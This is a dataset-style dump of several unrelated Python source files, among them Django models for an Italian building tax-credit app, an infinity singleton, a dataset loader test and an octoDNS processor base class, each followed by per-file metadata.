JavaTypesBase.__init__(self,tpd,index,tags,args) def get_package_name(self): return '.'.join( [ str(self.tpd.get_string(int(x))) for x in self.args[:-1] ] ) def get_abbreviated_package_name(self): return ''.join( [ str(self.tpd.get_string(int(x)))[0] for x in self.args[:-1] ]) def get_qname(self): return self.get_package_name() + '.' + self.get_simple_name() def get_aqname(self): if len(self.args) > 0: return self.get_simple_name() else: return self.get_abbreviated_package_name() + '.' + self.get_simple_name() def get_simple_name(self): return str(self.tpd.get_string(int(self.args[-1]))) def get_name(self): if len(self.args) > 0: return self.get_package_name() + '.' + self.get_simple_name() else: return self.get_simple_name() def __str__(self): return self.get_name()
42.067797
88
0.636986
329
2,482
4.674772
0.413374
0.040962
0.050715
0.055267
0.307542
0.275033
0.229519
0.229519
0.147594
0.062419
0
0.0069
0.182514
2,482
58
89
42.793103
0.751109
0.551974
0
0.363636
0
0
0.003687
0
0
0
0
0
0
1
0.363636
false
0
0.045455
0.227273
0.772727
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
98bbd3109a2c5a6d6fb946f4bde51ac567c3ea19
512
py
Python
api_supermarkets.py
Chronicle-HelloWorld/SmartFridgeDemo
cd29a441c0dc3f5f0983a9b720b2a237920b5e59
[ "MIT" ]
null
null
null
api_supermarkets.py
Chronicle-HelloWorld/SmartFridgeDemo
cd29a441c0dc3f5f0983a9b720b2a237920b5e59
[ "MIT" ]
null
null
null
api_supermarkets.py
Chronicle-HelloWorld/SmartFridgeDemo
cd29a441c0dc3f5f0983a9b720b2a237920b5e59
[ "MIT" ]
null
null
null
from random import uniform, seed class Supermarket: name: str def __init__(self, name: str): self.name = name def query_price(self, item: str) -> float: seed((item + self.name).lower().__hash__()) return round(uniform(1, 20), 2) def place_order(self, items: dict[str, float]): print(f"Placed order at {self.name} for:") print(f" {'Name':<20}{'Quantity':>10}") for name, qty in items.items(): print(f" {name:<20}{qty:>10.2f}")
25.6
51
0.572266
71
512
3.985915
0.521127
0.113074
0.070671
0.084806
0
0
0
0
0
0
0
0.034392
0.261719
512
19
52
26.947368
0.714286
0
0
0
0
0
0.171875
0.097656
0
0
0
0
0
1
0.230769
false
0
0.076923
0
0.538462
0.230769
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
98c57a552c5562d87033086193800fae91c78c87
22,658
py
Python
apps/superbonus/models.py
MiloshBogdanovic/Auri-Soft
ab9f1540f3a9c91463bfb965d7399779f97717c0
[ "MIT" ]
null
null
null
apps/superbonus/models.py
MiloshBogdanovic/Auri-Soft
ab9f1540f3a9c91463bfb965d7399779f97717c0
[ "MIT" ]
null
null
null
apps/superbonus/models.py
MiloshBogdanovic/Auri-Soft
ab9f1540f3a9c91463bfb965d7399779f97717c0
[ "MIT" ]
null
null
null
from django.db import models from apps.beneficary.models import Beneficiary, BeneficiaryForm from apps.professionals.models import Prof_table from decimal import Decimal from django.forms import ModelForm from django.forms.widgets import Textarea # Create your models here. YN = [ ('NO', 'NO'), ('SI', 'SI') ] CASSA_CHOICE = [ (Decimal('0'), '0%'), (Decimal('0.04'), '4%'), (Decimal('0.05'), '5%') ] VTA_CHOICE = [ (Decimal('0.1'), '10%'), (Decimal('0.22'), '22%') ] class InterventionReport(models.Model): id = models.AutoField(primary_key=True) total_amt_inc_vat = models.DecimalField("IMPORTO COMPLESSIVO IVA INCLUSA", decimal_places=2, max_digits=12, default=0, null=True) amt_discount_applied = models.DecimalField("IMPORTO DELLO SCONTO IN FATTURA APPLICATO", decimal_places=2, max_digits=12, default=0, null=True) amt_deduction_accrued = models.DecimalField("IMPORTO DELLA DETRAZIONE MATURATA", decimal_places=2, max_digits=12, default=0, null=True) def save(self, *args, **kwargs): self.amt_discount_applied = self.total_amt_inc_vat self.amt_deduction_accrued = self.total_amt_inc_vat * Decimal('1.1') super().save(*args, **kwargs) class Meta: abstract = True managed = True class InterventionCost(models.Model): id = models.AutoField(primary_key=True) total_amt_of_work = models.DecimalField("IMPORTO COMPLESSIVO DEI LAVORI DA ESEGUIRE", decimal_places=2, max_digits=12, default=0, null=True) total_amt_safety_charges = models.DecimalField("IMPORTO COMPLESSIVO ONERI SICUREZZA ", decimal_places=2, max_digits=12, default=0, null=True) tech_exp_designer = models.DecimalField("SPESE TECNICHE PROGETTISTA ", decimal_places=2, max_digits=12, default=0, null=True) tech_exp_coordinator_safety_des = models.DecimalField("SPESE TECNICHE COORDINATORE SICUREZZA PROGETTAZIONE", decimal_places=2, max_digits=12, default=0, null=True) tech_exp_coordinator_safety_exe = models.DecimalField("SPESE TECNICHE COORDINATORE SICUREZZA ESECUZIONE", decimal_places=2, max_digits=12, default=0, null=True) tech_exp_director_of_work = models.DecimalField("SPESE TECNICHE DIRETTORE LAVORI", decimal_places=2, max_digits=12, default=0, null=True) tech_exp_thermotechnical = models.DecimalField("SPESE TECNICHE TERMOTECNICO", decimal_places=2, max_digits=12, default=0, null=True) tech_exp_energy_expert = models.DecimalField("SPESE TECNICHE ESPERTO ENERGETICO", decimal_places=2, max_digits=12, default=0, null=True) poss_respo_work = models.DecimalField("EVENTUALE RESPONSABILE DEI LAVORI", decimal_places=2, max_digits=12, default=0, null=True) app_for_conformity_visa = models.DecimalField("APPOSIZIONE VISTO DI CONFORMTA'", decimal_places=2, max_digits=12, default=0, null=True) total_tech_exp = models.DecimalField("TOTALE TECNICHE", decimal_places=2, max_digits=12, default=0, null=True) total_of_the_order = models.DecimalField("TOTALE DELLA COMMESSA", decimal_places=2, max_digits=12, default=0, null=True) def save(self, *args, **kwargs): self.total_tech_exp = self.tech_exp_designer + self.tech_exp_coordinator_safety_des + \ self.tech_exp_coordinator_safety_exe + self.tech_exp_director_of_work + \ self.tech_exp_thermotechnical + self.tech_exp_energy_expert + self.poss_respo_work + \ self.app_for_conformity_visa self.total_of_the_order = self.total_amt_of_work + self.total_amt_safety_charges + self.total_tech_exp super().save(*args, **kwargs) class Meta: abstract = True managed = True class InterCostsNOVat(InterventionCost): vat_for_total_work = models.DecimalField("IMPORTO COMPLESSIVO IVA DA APPLICARE", decimal_places=2, max_digits=10, default=Decimal('0.22'), blank=False, choices=VTA_CHOICE) ss_cash_for_designer = models.DecimalField("CASSA PREVIDENZA PROGETTISTA", decimal_places=2, max_digits=10, default=Decimal('0.04'), blank=False, choices=CASSA_CHOICE) ss_cash_for_coordinator_safety_des = models.DecimalField("CASSA PREVIDENZA COORDINATORE SICUREZZA PROGETTAZIONE", decimal_places=2, max_digits=10, default=Decimal('0.04'), blank=False, choices=CASSA_CHOICE) ss_cash_for_coordinator_safety_exe = models.DecimalField("CASSA PREVIDENZA COORDINATORE SICUREZZA ESECUZIONE", decimal_places=2, max_digits=10, default=Decimal('0.04'), blank=False, choices=CASSA_CHOICE) ss_cash_for_director_of_work = models.DecimalField("CASSA PREVIDENZA DIRETTORE LAVORI", decimal_places=2, max_digits=10, default=Decimal('0.04'), blank=False, choices=CASSA_CHOICE) ss_cash_for_thermotechnical = models.DecimalField("CASSA PREVIDENZA TECNICHE TERMOTECNICO", decimal_places=2, max_digits=10, default=Decimal('0.04'), blank=False, choices=CASSA_CHOICE) ss_cash_for_energy_expert = models.DecimalField("CASSA PREVIDENZA ESPERTO ENERGETICO", decimal_places=2, max_digits=10, default=Decimal('0.04'), blank=False, choices=CASSA_CHOICE) ss_cash_for_respo_work = models.DecimalField("CASSA PREVIDENZA RESPONSABILE DEI LAVORI", decimal_places=2, max_digits=10, default=Decimal('0.04'), blank=False, choices=CASSA_CHOICE) ss_app_for_conformity_visa = models.DecimalField("CASSA PREVIDENZA ", decimal_places=2, max_digits=10, default=Decimal('0.0'), blank=False, choices=CASSA_CHOICE) class Meta: abstract = True managed = True class OverallInterCostsNOVat(InterCostsNOVat): pass class OverallInterCostsTaxableVat(InterventionCost): pass class OverallInterCostsVatIncluded(InterventionCost): pass class OverallInterCostsAmountVat(InterventionCost): pass class OverallInterCostsReport(InterventionReport): pass class InterDrivingWorkNOVat(InterCostsNOVat): pass class InterDrivingWorkTaxableVat(InterventionCost): pass class InterDrivingWorkVatIncluded(InterventionCost): pass class InterDrivingWorkAmountVat(InterventionCost): pass class InterDrivingWorkReport(InterventionReport): pass class InterTrailedWorkNOVat(InterCostsNOVat): pass class InterTrailedWorkTaxableVat(InterventionCost): pass class InterTrailedWorkVatIncluded(InterventionCost): pass class InterTrailedWorkAmountVat(InterventionCost): pass class InterTrailedWorkReport(InterventionReport): pass class CatastalData(models.Model): id = models.AutoField(primary_key=True) n_catastal_cheet = models.IntegerField("N° FOGLIO CATASTALE DI APPARTENENZA", blank=False) n_first_particle = models.IntegerField("N° PRIMA PARTICELLA COSTITUENTE IL CONDOMINIO", blank=False) n_subscribers_to_first_belonging = models.CharField("N° SUBALTERNI APPARTENTI ALLA PRIMA PARTICELLA", max_length=20, blank=False) n_second_particle = models.IntegerField("N° SECONDA PARTICELLA COSTITUENTE IL CONDOMINIO", blank=True, null=True) n_subscribers_to_second_belonging = models.CharField("N° SUBALTERNI APPARTENTI ALLA SECONDA PARTICELLA", max_length=20, blank=True, null=True) n_third_particle = models.IntegerField("N° TERZA PARTICELLA COSTITUENTE IL CONDOMINIO", blank=True, null=True) n_subscribers_to_third_belonging = models.CharField("N° SUBALTERNI APPARTENTI ALLA TERZA PARTICELLA", max_length=20, blank=True, null=True) n_fourth_particle = models.IntegerField("N° QUARTA PARTICELLA COSTITUENTE IL CONDOMINIO", blank=True, null=True) n_subscribers_to_fourth_belonging = models.CharField("N° SUBALTERNI APPARTENTI ALLA QUARTA PARTICELLA", max_length=20, blank=True, null=True) n_fifth_particle = models.IntegerField("N° QUINTA PARTICELLA COSTITUENTE IL CONDOMINIO", blank=True, null=True) n_subscribers_to_fifth_belonging = models.CharField("N° SUBALTERNI APPARTENTI ALLA QUINTA PARTICELLA", max_length=20, blank=True, null=True) class Interventions(models.Model): id = models.AutoField(primary_key=True) # Driving inteventions art119_c1_a = models.CharField(max_length=2, choices=YN) art119_c1_b = models.CharField(max_length=2, choices=YN) art119c_4 = models.CharField(max_length=2, choices=YN) # Towed inteventions art1_c345 = models.CharField(max_length=2, choices=YN) art1_c345_art14 = models.CharField(max_length=2, choices=YN) art1_c346 = models.CharField(max_length=2, choices=YN) art1_c286 = models.CharField(max_length=2, choices=YN) art14_2_1 = models.CharField(max_length=2, choices=YN) art14_2_1_B = models.CharField(max_length=2, choices=YN) art14_2_1_C = models.CharField(max_length=2, choices=YN) art4_c4 = models.CharField(max_length=2, choices=YN) art1_c88 = models.CharField(max_length=2, choices=YN) art14_c2 = models.CharField(max_length=2, choices=YN) art14_c2_bis = models.CharField(max_length=2, choices=YN) art14_c2_b_bis = models.CharField(max_length=2, choices=YN) trailed_art16_bis_c = models.CharField(max_length=2, choices=YN) trailed_art119_c = models.CharField(max_length=2, choices=YN) towed_art119_c = models.CharField(max_length=2, choices=YN) description = models.TextField(max_length=500) class Meta: managed = True class OverallInterventions(models.Model): id = models.AutoField(primary_key=True) excluding_vat = models.ForeignKey(OverallInterCostsNOVat, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPORTO IVA ESCLUSA") taxable_vat = models.ForeignKey(OverallInterCostsTaxableVat, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPONIBILE IVA") included_vat = models.ForeignKey(OverallInterCostsVatIncluded, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPORTO IVA INCLUSA") amount_vat = models.ForeignKey(OverallInterCostsAmountVat, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPORTO IVA") report = models.ForeignKey(OverallInterCostsReport, on_delete=models.CASCADE, blank=True, null=True, verbose_name="RAPPORTO") class Meta: managed = True class DrivingInterventions(models.Model): id = models.AutoField(primary_key=True) excluding_vat = models.ForeignKey(InterDrivingWorkNOVat, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPORTO IVA ESCLUSA") taxable_vat = models.ForeignKey(InterDrivingWorkTaxableVat, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPONIBILE IVA") included_vat = models.ForeignKey(InterDrivingWorkVatIncluded, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPORTO IVA INCLUSA") amount_vat = models.ForeignKey(InterDrivingWorkAmountVat, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPORTO IVA") report = models.ForeignKey(InterDrivingWorkReport, on_delete=models.CASCADE, blank=True, null=True, verbose_name="RAPPORTO") class TrailingInterventions(models.Model): id = models.AutoField(primary_key=True) excluding_vat = models.ForeignKey(InterTrailedWorkNOVat, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPORTO IVA ESCLUSA") taxable_vat = models.ForeignKey(InterTrailedWorkTaxableVat, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPONIBILE IVA") included_vat = models.ForeignKey(InterTrailedWorkVatIncluded, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPORTO IVA INCLUSA") amount_vat = models.ForeignKey(InterTrailedWorkAmountVat, on_delete=models.CASCADE, blank=True, null=True, verbose_name="IMPORTO IVA") report = models.ForeignKey(InterTrailedWorkReport, on_delete=models.CASCADE, blank=True, null=True, verbose_name="RAPPORTO") class BonusVilla(models.Model): id = models.AutoField(primary_key=True) name = models.CharField("DENOMINAZIONE DELL'IMMOBILE", max_length=50, blank=False) street = models.CharField("VIA E NUMERO/I UBICAZIONE DELL'IMMOBILE", max_length=50, blank=False) cap = models.IntegerField("CAP UBICAZIONE DELL'IMMOBILE", blank=False) municipality = models.CharField("COMUNE UBICAZIONE DELL'IMMOBILE", max_length=50, blank=False) province = models.CharField("PROVINCIA UBICAZIONE DELL'IMMOBILE", max_length=10, blank=False) email = models.EmailField("INDIRIZZO MAIL DELL'IMMOBILE - DEL CLIENTE", max_length=254, blank=False) pec_mail = models.EmailField("INDIRIZZO PEC DELL'IMMOBILE - DEL CLIENTE", max_length=254, blank=False) catastal = models.ForeignKey(CatastalData, on_delete=models.CASCADE, blank=True, null=True, verbose_name="DATI CATASTALI") beneficiary = models.ForeignKey(Beneficiary, on_delete=models.SET_NULL, blank=True, null=True, verbose_name="DETTAGLIO DEI BENEFICIARI") professionals = models.ForeignKey(Prof_table, on_delete=models.SET_NULL, blank=True, null=True, verbose_name="PROFESSIONALI") interventions = models.ForeignKey(Interventions, on_delete=models.SET_NULL, blank=True, null=True, verbose_name="INTERVENTI") overall_interventions = models.ForeignKey(OverallInterventions, on_delete=models.SET_NULL, blank=True, null=True, verbose_name="COMPLESSIVA DELL'INTERVENTO") driving_interventions = models.ForeignKey(DrivingInterventions, on_delete=models.SET_NULL, blank=True, null=True, verbose_name="DETTAGLIO INTERVENTO LAVORI TRAINANTI") trailed_interventions = models.ForeignKey(TrailingInterventions, on_delete=models.SET_NULL, blank=True, null=True, verbose_name="DETTAGLIO INTERVENTO LAVORI TRAINATI") class Meta: managed = True class BonusCondo(models.Model): id = models.AutoField(primary_key=True) class SuperBonus(models.Model): id = models.AutoField(primary_key=True) bonus_villa = models.ForeignKey(BonusVilla, on_delete=models.CASCADE, blank=True, null=True) bonus_condo = models.ForeignKey(BonusCondo, on_delete=models.CASCADE, blank=True, null=True) class Meta: managed = True class BonusVillaForm(ModelForm): class Meta: model = BonusVilla exclude = ['id', 'catastal', 'beneficiary', 'professionals', 'interventions', 'overall_interventions', 'driving_interventions', 'trailed_interventions'] labels = {} widgets = {} class InterventionsForm(ModelForm): class Meta: model = Interventions exclude = ['id', 'catastal', 'beneficiary', 'professionals', 'interventions', 'overall_interventions'] labels = { 'art119_c1_a': 'Intervento “trainante” ai sensi dell’art. 119 c. 1 lett a), D.L. 34/2020: intervento di “isolamento termico” (con materiali isolanti che rispettano i “CAM” del D.M. dell’Ambiente del 11/10/2017) delle superfici opache verticali (pareti isolanti o cappotti, anche sulla superficie intera delle pareti), orizzontali (pavimenti e coperture) e inclinate (falde di copertura del sottotetto), che interessa l’involucro dell’Immobile, con un’incidenza superiore al 25% della superficie disperdente lorda;', 'art119_c1_b': ' Intervento “trainante” ai sensi dell’art. 119 c. 1 lett. b), D.L. 34/2020 per la “sostituzione degli impianti di climatizzazione invernale” esistenti nell’Immobile con (i) impianti per il riscaldamento, il raffrescamento o la fornitura di acqua calda sanitaria, a condensazione, con efficienza almeno pari alla classe A (regolamento UE n. 811/2013), a pompa di calore, ivi compresi gli impianti ibridi o geotermici ovvero con impianti di microcogenerazione, a collettori solari; (ii) allaccio a sistemi di teleriscaldamento efficiente (art. 2, c. 2, lett. tt), D.Lgs. 102/2014), solo nelle aree non metanizzate nei comuni montani non interessati dalle procedure europee di infrazione n. 2014/2147 o 2015/2043', 'art119c_4': "Intervento “trainante” ai sensi dell’art. 119 c. 4, D.L. 34/2020 per la realizzazione di misure antisismiche dell'articolo 16, commi da 1-bis a 1-septies, D.L. 63/2013.", 'art1_c345': 'art. 1, co. 345, L. 296/2006 per la realizzazione di strutture opache verticali (pareti) ed orizzontali (coperture e pavimenti);', 'art1_c345_art14': 'art. 1, co. 345, L. 296/2006 e art. 14, D.L. 63/2013 per la installazione di finestre comprensive di infissi delimitanti il volume riscaldato verso l’esterno ovvero vani non riscaldati, con i requisiti di trasmittanza termica di legge;', 'art1_c346': 'art. 1, co. 346, L. 296/2006 per l’installazione di pannelli solari per la produzione di acqua calda;', 'art1_c286': 'art. 1, co. 286, L. 244/2007 per la sostituzione di impianti di climatizzazione invernale con caldaie dotate di pompe di calore ad alta efficienza o impianti geotermici a bassa entalpia;', 'art14_2_1': 'art. 14, co. 2.1 D.L. 63/2013 per la sostituzione di impianti di climatizzazione invernale con caldaie a condensazione con efficienza almeno pari alla classe A di cui al Regolamento UE n. 811/2013', 'art14_2_1_B': 'art. 14, co. 2.1 D.L. 63/2013 per la sostituzione di impianti di climatizzazione invernale con caldaie a condensazione con efficienza almeno pari alla classe A di cui al Regolamento UE n. 811/2013 e contestuale installazione di sistemi di termoregolazione di cui alle classi V, VI o VIII della Comunicazione della Commissione 2014/C 207/02', 'art14_2_1_C': 'art. 14, co. 2.1 D.L. 63/2013 per la sostituzione di impianti di climatizzazione invernale con apparecchi ibridi, costituiti da pompa di calore integrata con caldaia a condensazione, assemblati in fabbrica per funzionare in abbinamento tra loro;', 'art4_c4': 'art. 4, co. 4, D.L. 201/2011 per la sostituzione di scaldacqua tradizionali con scaldacqua a pompa di calore per la produzione di acqua calda sanitaria che rispettino i valori fissati dalle relative tabelle vigenti,', 'art1_c88': 'art. 1, co. 88, L. 208/2015 per l’acquisto ed installazione di dispositivi multimediali per il controllo da remoto degli impianti di riscaldamento o produzione di acqua calda o di climatizzazione delle unità abitative;', 'art14_c2': 'art. 14, co. 2 lett b) del D.L. 63/2013 per l’acquisto ed installazione di schermature solari di cui all’allegato M), D.Lgs. 311/2006;', 'art14_c2_bis': 'art. 14, co. 2-bis, D.L. 63/2013 par l’acquisto ed installazione di impianti di climatizzazione invernale con impianti dotati di generatori di calore alimentati da biomasse combustibili;', 'art14_c2_b_bis': 'art. 14, co. 2, lett. b-bis) D.L. 63/2013 per l’acquisto ed installazione di micro-cogeneratori che permettano un risparmio di energia primaria (PES) di almeno il 20%, come disciplinato dall’allegato III del D.M. 4.8.2011; ', 'trailed_art16_bis_c': 'Interventi “trainati” per l’eliminazione di barriere architettoniche di cui all’art. 16-bis c. 1 lett. e) del TUIR, anche ove effettuati in favore di persone con più di 65 anni ai sensi dell’art. 119, c. 2, D.L. 34/2020;', 'trailed_art119_c': 'Interventi “trainati” di installazione di impianti solari fotovoltaici con, contestuale o successiva installazione di, sistemi di accumulo, ai sensi dell’art. 119, c. 5 e c. 6, D.L. 34/2020;', 'towed_art119_c': 'Interventi “trainati” di installazione di colonnine di ricarica di veicoli elettrici, ai sensi dell’art. 119, c. 8, D.L. 34/2020', 'description': "DESCRIZIONE SINTETICA DELL'INTERVENTO", } widgets = { 'description': Textarea(attrs={ 'class': 'ml-0', 'id': 'description' }), } class CatastalDataForm(ModelForm): class Meta: model = CatastalData exclude = ['id'] class OverallInterCostsNOVatForm(ModelForm): class Meta: model = OverallInterCostsNOVat exclude = ['id'] class InterDrivingWorkNOVatForm(ModelForm): class Meta: model = InterDrivingWorkNOVat exclude = ['id'] class InterTrailedWorkNOVatForm(ModelForm): class Meta: model = InterTrailedWorkNOVat exclude = ['id']
60.582888
740
0.663254
2,646
22,658
5.533636
0.193878
0.02568
0.028411
0.037153
0.539885
0.484906
0.453012
0.431567
0.338615
0.301871
0
0.034904
0.251434
22,658
374
741
60.582888
0.827663
0.002825
0
0.342373
0
0.061017
0.301359
0.003718
0
0
0
0
0
1
0.00678
false
0.050847
0.071186
0
0.552542
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
98c8691c692baab2f9d97436e2b6cfc5d8ad5652
550
py
Python
tests/r/test_cran_packages.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
199
2017-07-24T01:34:27.000Z
2022-01-29T00:50:55.000Z
tests/r/test_cran_packages.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
46
2017-09-05T19:27:20.000Z
2019-01-07T09:47:26.000Z
tests/r/test_cran_packages.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
45
2017-07-26T00:10:44.000Z
2022-03-16T20:44:59.000Z
from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.cran_packages import cran_packages def test_cran_packages(): """Test module cran_packages.py by downloading cran_packages.csv and testing shape of extracted data has 29 rows and 4 columns """ test_path = tempfile.mkdtemp() x_train, metadata = cran_packages(test_path) try: assert x_train.shape == (29, 4) except: shutil.rmtree(test_path) raise()
22.916667
54
0.769091
78
550
5.089744
0.538462
0.18136
0.120907
0
0
0
0
0
0
0
0
0.013129
0.169091
550
23
55
23.913043
0.85558
0.223636
0
0
0
0
0
0
0
0
0
0
0.066667
1
0.066667
false
0
0.466667
0
0.533333
0.066667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
98d5924c59d85d1ed897b52ee18ccfa50c584932
3,004
py
Python
util/infinity.py
levilucio/SyVOLT
7526ec794d21565e3efcc925a7b08ae8db27d46a
[ "MIT" ]
3
2017-06-02T19:26:27.000Z
2021-06-14T04:25:45.000Z
util/infinity.py
levilucio/SyVOLT
7526ec794d21565e3efcc925a7b08ae8db27d46a
[ "MIT" ]
8
2016-08-24T07:04:07.000Z
2017-05-26T16:22:47.000Z
util/infinity.py
levilucio/SyVOLT
7526ec794d21565e3efcc925a7b08ae8db27d46a
[ "MIT" ]
1
2019-10-31T06:00:23.000Z
2019-10-31T06:00:23.000Z
# -*- coding: Latin-1 -*- ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## # infinity.py # -------------------------------- # Copyright (c) 2005 # Jean-Sébastien BOLDUC # Hans Vangheluwe # McGill University (Montréal) # -------------------------------- # # - Singleton class "Inf" and unique instance "INFINITY" --- # stands for infinity (to use in time advance function) # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## INFINITY OBJECT --- ADDED 04/04/2005 ## more comparison operators -- HV 12/11/2006 ## ## mul and rmul added -- Eugene 14/11/2006 ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## class Infty(object): """Singleton class: the single instance "INFINITY" stands for infinity.""" __instantiated = False def __init__(self): if self.__instantiated: raise NotImplementedError("singleton class already instantiated") self.__instantiatiated = True def __deepcopy__(self, memo): return self def __add__(self, other): """ INFINITY + x = INFINITY """ return self def __sub__(self, other): """ INFINITY - x = INFINITY (if x != INF), or NaN (if x == INFINITY) """ if other == self: raise ValueError("INFINITY - INFINITY gives NaN (not defined)") return self def __mul__(self, other): """ INFINITY * x = INFINITY """ return self def __radd__(self, other): """ x + INFINITY = INFINITY """ return self def __rsub__(self, other): """ x - INFINITY = -INFINITY (if x != INFINITY), or NaN (if x == INFINITY) """ if other == self: raise ValueError("INFINITY - INFINITY gives NaN (not defined)") raise ValueError("x - INFINITY gives MINUS_INFINITY (not defined)") def __rmul__(self, other): """ x * INFINITY = INFINITY """ return self def __abs__(self): """ abs(INFINITY) = INFINITY -- absolute value """ return self # def __cmp__(self, other): # if other is self: # return 0 # else: # return 1 def __eq__(self, other): if other is self: return True else: return False def __ne__(self, other): if other is self: return False else: return True def __lt__(self, other): return False def __le__(self, other): if other is self: return True else: return False def __gt__(self, other): if other is self: return False else: return True def __ge__(self, other): return True def __str__(self): return "+INFINITY" # Instantiate singleton: INFINITY = Infty()
27.309091
86
0.481691
283
3,004
4.848057
0.314488
0.085277
0.066327
0.058309
0.476676
0.390671
0.390671
0.370262
0.25656
0.25656
0
0.015988
0.354527
3,004
109
87
27.559633
0.691594
0.377164
0
0.54717
0
0
0.108735
0
0
0
0
0
0
1
0.301887
false
0
0
0.075472
0.679245
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
98d67fcb1697f439808b878f9b8a3449e476c259
100
py
Python
cpdb/es_index/constants.py
invinst/CPDBv2_backend
b4e96d620ff7a437500f525f7e911651e4a18ef9
[ "Apache-2.0" ]
25
2018-07-20T22:31:40.000Z
2021-07-15T16:58:41.000Z
cpdb/es_index/constants.py
invinst/CPDBv2_backend
b4e96d620ff7a437500f525f7e911651e4a18ef9
[ "Apache-2.0" ]
13
2018-06-18T23:08:47.000Z
2022-02-10T07:38:25.000Z
cpdb/es_index/constants.py
invinst/CPDBv2_backend
b4e96d620ff7a437500f525f7e911651e4a18ef9
[ "Apache-2.0" ]
6
2018-05-17T21:59:43.000Z
2020-11-17T00:30:26.000Z
from tracker.indexers import AttachmentFileIndexer DAILY_INDEXERS = [ AttachmentFileIndexer, ]
16.666667
50
0.81
8
100
10
0.75
0
0
0
0
0
0
0
0
0
0
0
0.14
100
5
51
20
0.930233
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
98dd77aa758224e4ae10576b72ebc85fbd6a66dc
310
py
Python
taotao-cloud-python/taotao-cloud-oldboy/day84-PerfectCRM/PerfectCRM-master/student/models.py
shuigedeng/taotao-cloud-paren
3d281b919490f7cbee4520211e2eee5da7387564
[ "Apache-2.0" ]
47
2021-04-13T10:32:13.000Z
2022-03-31T10:30:30.000Z
taotao-cloud-python/taotao-cloud-oldboy/day84-PerfectCRM/PerfectCRM-master/student/models.py
shuigedeng/taotao-cloud-paren
3d281b919490f7cbee4520211e2eee5da7387564
[ "Apache-2.0" ]
1
2021-11-01T07:41:04.000Z
2021-11-01T07:41:10.000Z
taotao-cloud-python/taotao-cloud-oldboy/day84-PerfectCRM/PerfectCRM-master/student/models.py
shuigedeng/taotao-cloud-paren
3d281b919490f7cbee4520211e2eee5da7387564
[ "Apache-2.0" ]
21
2021-04-13T10:32:17.000Z
2022-03-26T07:43:22.000Z
from django.db import models from crm.models import UserProfile,Customer # Create your models here. class Account(models.Model): account = models.OneToOneField(UserProfile,related_name="stu_account", on_delete=models.CASCADE) profile = models.OneToOneField(Customer, on_delete=models.CASCADE)
19.375
100
0.783871
39
310
6.128205
0.564103
0.108787
0.117155
0.175732
0
0
0
0
0
0
0
0
0.129032
310
15
101
20.666667
0.885185
0.077419
0
0
0
0
0.039427
0
0
0
0
0
0
1
0
false
0
0.4
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
98f2baa34764a0187723fca15718a2d27524cb1d
3,003
py
Python
octodns/processor/base.py
CyberFlameGO/octodns
9abee5c847aff656c0b70925982686f8e6acc083
[ "MIT" ]
1,865
2017-04-06T18:03:10.000Z
2020-12-07T21:53:31.000Z
octodns/processor/base.py
CyberFlameGO/octodns
9abee5c847aff656c0b70925982686f8e6acc083
[ "MIT" ]
401
2017-04-08T22:58:06.000Z
2020-12-08T15:52:29.000Z
octodns/processor/base.py
CyberFlameGO/octodns
9abee5c847aff656c0b70925982686f8e6acc083
[ "MIT" ]
366
2017-04-10T15:40:02.000Z
2020-12-08T01:37:29.000Z
# # # from __future__ import absolute_import, division, print_function, \ unicode_literals class BaseProcessor(object): def __init__(self, name): self.name = name def process_source_zone(self, desired, sources): ''' Called after all sources have completed populate. Provides an opportunity for the processor to modify the desired `Zone` that targets will recieve. - Will see `desired` after any modifications done by `Provider._process_desired_zone` and processors configured to run before this one. - May modify `desired` directly. - Must return `desired` which will normally be the `desired` param. - Must not modify records directly, `record.copy` should be called, the results of which can be modified, and then `Zone.add_record` may be used with `replace=True`. - May call `Zone.remove_record` to remove records from `desired`. - Sources may be empty, as will be the case for aliased zones. ''' return desired def process_target_zone(self, existing, target): ''' Called after a target has completed `populate`, before changes are computed between `existing` and `desired`. This provides an opportunity to modify the `existing` `Zone`. - Will see `existing` after any modifrications done by processors configured to run before this one. - May modify `existing` directly. - Must return `existing` which will normally be the `existing` param. - Must not modify records directly, `record.copy` should be 